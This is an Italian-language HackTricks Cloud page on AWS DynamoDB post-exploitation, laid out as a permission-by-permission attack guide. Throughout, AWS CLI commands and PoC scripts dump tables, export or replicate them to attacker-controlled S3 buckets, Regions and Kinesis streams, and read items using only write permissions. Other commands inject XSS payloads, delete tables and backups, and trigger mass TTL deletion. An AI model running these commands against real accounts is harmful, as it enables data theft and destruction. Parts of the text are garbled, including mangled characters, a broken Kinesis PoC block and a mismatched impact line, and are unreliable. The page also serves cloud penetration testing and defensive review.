AWS - DynamoDB Post Exploitation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
DynamoDB
Per maggiori informazioni consulta:
dynamodb:BatchGetItem
Un attaccante con questo permesso sarĂ in grado di ottenere item dalle tabelle tramite la chiave primaria (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadata della tabella (describe-table).
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
Impatto potenziale: privesc indiretto individuando informazioni sensibili nella tabella
dynamodb:GetItem
Simile alle autorizzazioni precedenti questa permette a un potenziale attaccante di leggere i valori di una sola tabella fornendo la chiave primaria dellâelemento da recuperare:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
Con questo permesso è anche possibile usare il metodo transact-get-items come:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Impatto potenziale: Indirect privesc localizzando informazioni sensibili nella tabella
dynamodb:Query
Simile alle autorizzazioni precedenti questa permette a un potenziale attacker di leggere valori da una sola tabella dato il primary key della voce da recuperare. Permette di usare un subset of comparisons, ma lâunico confronto consentito con il primary key (che deve essere presente) è âEQâ, quindi non è possibile usare un confronto per ottenere lâintero DB in una singola richiesta.
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
Impatto potenziale: Privesc indiretto localizzando informazioni sensibili nella tabella
dynamodb:Scan
Puoi usare questa autorizzazione per dump dellâintera tabella con facilitĂ .
aws dynamodb scan --table-name <t_name> #Get data inside the table
Impatto potenziale: privesc indiretto localizzando informazioni sensibili nella tabella
dynamodb:PartiQLSelect
Puoi usare questo permesso per dump dellâintera tabella facilmente.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Questa permission consente anche di eseguire batch-execute-statement come:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
ma devi specificare la chiave primaria con un valore, quindi non è molto utile.
Impatto potenziale: Indirect privesc localizzando informazioni sensibili nella tabella
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Questo permesso permetterĂ a un attaccante di esportare lâintera tabella in un S3 bucket di sua scelta:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Nota che perchĂŠ questo funzioni, la tabella deve avere abilitato point-in-time-recovery; puoi verificare se la tabella lo ha con:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Se non è abilitato, dovrai abilitarlo e per farlo hai bisogno della dynamodb:ExportTableToPointInTime autorizzazione:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Impatto potenziale: Indirect privesc individuando informazioni sensibili nella tabella
dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)
Con queste autorizzazioni, un attacker sarebbe in grado di creare una nuova tabella da un backup (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di controllare informazioni dai backup che potrebbero non essere piĂš nella tabella di produzione.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Impatto potenziale: privesc indiretto reperendo informazioni sensibili nel backup della tabella
dynamodb:PutItem
Questa autorizzazione permette agli utenti di aggiungere un nuovo item alla tabella o sostituire un item esistente con un nuovo item. Se un item con la stessa chiave primaria esiste giĂ , lâintero item sarĂ sostituito con il nuovo item. Se la chiave primaria non esiste, un nuovo item con la chiave primaria specificata sarĂ creato.
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
Impatto potenziale: Sfruttamento di ulteriori vulnerabilitĂ /bypasses potendo aggiungere/modificare dati in una tabella DynamoDB
dynamodb:UpdateItem
Questa autorizzazione consente agli utenti di modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item. Non sostituisce lâintero item; aggiorna solo gli attributi specificati. Se la primary key non esiste nella tabella, lâoperazione creerĂ un nuovo item con la primary key specificata e imposterĂ gli attributi specificati nellâupdate expression.
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
Impatto potenziale: Sfruttamento di ulteriori vulnerabilitĂ /bypasses consentendo di aggiungere/modificare dati in una tabella DynamoDB
dynamodb:DeleteTable
Un attacker con questa autorizzazione può cancellare una tabella DynamoDB, causando perdita di dati.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Potential impact: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata.
dynamodb:DeleteBackup
Un attaccante con questa autorizzazione può eliminare un backup di DynamoDB, causando potenzialmente la perdita di dati in caso di ripristino dopo un disastro.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Potential impact: Perdita di dati e incapacitĂ di recuperare da un backup durante uno scenario di disaster recovery.
dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords
Note
TODO: Verificare se questo funziona effettivamente
Un attacker con queste autorizzazioni può enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time. Questo consente allâattacker di monitorare ed exfiltrate le modifiche ai dati, potenzialmente causando data leakage.
- Abilitare uno stream su una tabella DynamoDB:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Descrivi lo stream per ottenere lâARN e altri dettagli:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Ottieni lo shard iterator usando lo stream ARN:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Usa il shard iterator per accedere e exfiltrate i dati dallo stream:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Impatto potenziale: Monitoraggio in tempo reale e data leakage delle modifiche alla tabella DynamoDB.
Leggere elementi tramite dynamodb:UpdateItem e ReturnValues=ALL_OLD
Un attaccante con solo dynamodb:UpdateItem su una tabella può leggere gli elementi senza nessuno dei consueti permessi di lettura (GetItem/Query/Scan) eseguendo un update benigno e richiedendo --return-values ALL_OLD. DynamoDB restituirĂ lâimmagine completa pre-update dellâitem nel campo Attributes della risposta (questo non consuma RCUs).
- Permessi minimi:
dynamodb:UpdateItemsulla tabella/chiave target. - Prerequisiti: Devi conoscere la chiave primaria dellâitem.
Esempio (aggiunge un attributo innocuo e exfiltrates lâitem precedente nella risposta):
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>
La risposta della CLI includerĂ un blocco Attributes contenente lâintero elemento precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura da un accesso solo in scrittura.
Impatto potenziale: Leggere elementi arbitrari da una tabella avendo solo permessi di scrittura, consentendo lâesfiltrazione di dati sensibili quando le chiavi primarie sono note.
dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica
Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (version 2019.11.21). Se un principal può aggiungere una replica regionale, lâintera tabella viene replicata nella Region scelta dallâattacker, da cui lâattacker può leggere tutti gli elementi.
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>
# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
Autorizzazioni: dynamodb:UpdateTable (con replica-updates) oppure dynamodb:CreateTableReplica sulla tabella di destinazione. Se nella replica viene usata una CMK, potrebbero essere necessarie autorizzazioni KMS per quella chiave.
Impatto potenziale: replica dellâintera tabella in una regione controllata dallâattaccante, permettendo unâesfiltrazione furtiva di dati.
dynamodb:TransactWriteItems (lettura tramite condizione fallita + ReturnValuesOnConditionCheckFailure=ALL_OLD)
Un attaccante con privilegi di scrittura transazionale può esfiltrare tutti gli attributi di un item esistente eseguendo un Update allâinterno di TransactWriteItems che provoca intenzionalmente il fallimento di una ConditionExpression impostando contemporaneamente ReturnValuesOnConditionCheckFailure=ALL_OLD. In caso di fallimento, DynamoDB include gli attributi precedenti nelle ragioni di cancellazione della transazione, trasformando efficacemente lâaccesso in sola scrittura in un accesso in lettura alle chiavi mirate.
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON
# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
Permessi: dynamodb:TransactWriteItems sulla tabella target (e sullâitem sottostante). Non sono necessari permessi di lettura.
Impatto potenziale: leggere item arbitrari (per chiave primaria) da una tabella usando solo privilegi di scrittura transazionale tramite i motivi di cancellazione restituiti.
dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query su GSI
Bypassare le restrizioni di lettura creando una Global Secondary Index (GSI) con ProjectionType=ALL su un attributo a bassa entropia, impostare quellâattributo a un valore costante su tutti gli item, quindi effettuare una Query sullâindice per recuperare gli item completi. Funziona anche se Query/Scan sulla tabella base sono negati, purchĂŠ sia possibile interrogare lâARN dellâindice.
- Permessi minimi:
dynamodb:UpdateTablesulla tabella target (per creare la GSI conProjectionType=ALL).dynamodb:UpdateItemsulle chiavi della tabella target (per impostare lâattributo indicizzato su ogni item).dynamodb:Querysullâindex resource ARN (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).
Passaggi (PoC in us-east-1):
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done
# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done
# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
Impatto potenziale: Esfiltrazione completa della tabella interrogando una GSI appena creata che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate.
dynamodb:EnableKinesisStreamingDestination (Exfiltrazione continua via Kinesis Data Streams)
Abusare delle destinazioni di streaming Kinesis di DynamoDB per esfiltrare continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dallâattaccante. Una volta abilitato, ogni evento INSERT/MODIFY/REMOVE viene inoltrato in tempo quasi reale allo stream senza necessitĂ di permessi di lettura sulla tabella.
Permessi minimi (attaccante):
dynamodb:EnableKinesisStreamingDestinationsulla tabella target- Opzionalmente
dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTableper monitorare lo stato - Permessi di lettura sul Kinesis stream di proprietĂ dellâattaccante per consumare i record:
kinesis:*
PoC (us-east-1)
```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}}2) Create attacker Kinesis Data Stream
aws kinesis create-stream âstream-name htx-ddb-exfil âshard-count 1 âregion us-east-1 aws kinesis wait stream-exists âstream-name htx-ddb-exfil âregion us-east-1
3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary âstream-name htx-ddb-exfil
âregion us-east-1 âquery StreamDescriptionSummary.StreamARN âoutput text)
aws dynamodb enable-kinesis-streaming-destination
âtable-name HTXKStream âstream-arn â$STREAM_ARNâ âregion us-east-1
Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination âtable-name HTXKStream
âregion us-east-1 âquery KinesisDataStreamDestinations[0].DestinationStatus
4) Generate changes on the table
aws dynamodb put-item âtable-name HTXKStream
âitem file:///tmp/htx_item2.json âregion us-east-1
/tmp/htx_item2.json
{âidâ:{âSâ:âa2â},âsecretâ:{âSâ:âs-2â}}
aws dynamodb update-item âtable-name HTXKStream
âkey file:///tmp/htx_key_a1.json
âupdate-expression âSET #i = :vâ
âexpression-attribute-names {#i:info}
âexpression-attribute-values {:v:{S:updated}}
âregion us-east-1
/tmp/htx_key_a1.json -> {âidâ:{âSâ:âa1â}}
5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards âstream-name htx-ddb-exfil âregion us-east-1
âquery Shards[0].ShardId âoutput text)
IT=$(aws kinesis get-shard-iterator âstream-name htx-ddb-exfil âshard-id â$SHARDâ
âshard-iterator-type TRIM_HORIZON âregion us-east-1 âquery ShardIterator âoutput text)
aws kinesis get-records âshard-iterator â$ITâ âlimit 10 âregion us-east-1 > /tmp/krec.json
Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 âdecode | jq .
6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination
âtable-name HTXKStream âstream-arn â$STREAM_ARNâ âregion us-east-1 || true
aws kinesis delete-stream âstream-name htx-ddb-exfil âenforce-consumer-deletion âregion us-east-1 || true
aws dynamodb delete-table âtable-name HTXKStream âregion us-east-1 || true
### `dynamodb:UpdateTimeToLive`
Un attacker con il permesso dynamodb:UpdateTimeToLive può modificare la configurazione TTL (time-to-live) di una tabella â abilitando o disabilitando il TTL. Quando il TTL è abilitato, gli items che contengono l'attributo TTL configurato vengono automaticamente eliminati una volta raggiunto il loro tempo di scadenza. Il valore TTL è semplicemente un altro attributo su ogni item; gli items privi di quell'attributo non sono interessati dall'eliminazione basata su TTL.
Se gli items non contengono giĂ l'attributo TTL, l'attacker avrebbe anche bisogno di un permesso che aggiorni gli items (per esempio dynamodb:UpdateItem) per aggiungere l'attributo TTL e scatenare eliminazioni di massa.
Per prima cosa abilita il TTL sulla tabella, specificando il nome dell'attributo da usare per la scadenza:
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
Quindi aggiorna gli items per aggiungere lâattributo TTL (epoch seconds) in modo che scadano e vengano rimossi:
aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime
Un attaccante con le autorizzazioni dynamodb:RestoreTableFromAwsBackup o dynamodb:RestoreTableToPointInTime può creare nuove tabelle ripristinate da backup o da point-in-time recovery (PITR) senza sovrascrivere la tabella originale. La tabella ripristinata contiene unâimmagine completa dei dati al punto selezionato, quindi lâattaccante può usarla per esfiltrare informazioni storiche o ottenere un dump completo dello stato passato del database.
Ripristinare una tabella DynamoDB da un backup on-demand:
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>
Ripristinare una tabella DynamoDB a un punto nel tempo (creare una nuova tabella con lo stato ripristinato):
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time
Impatto potenziale: Esfiltrazione continua, quasi in tempo reale, delle modifiche della tabella verso un attacker-controlled Kinesis stream senza operazioni di lettura dirette sulla tabella.
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

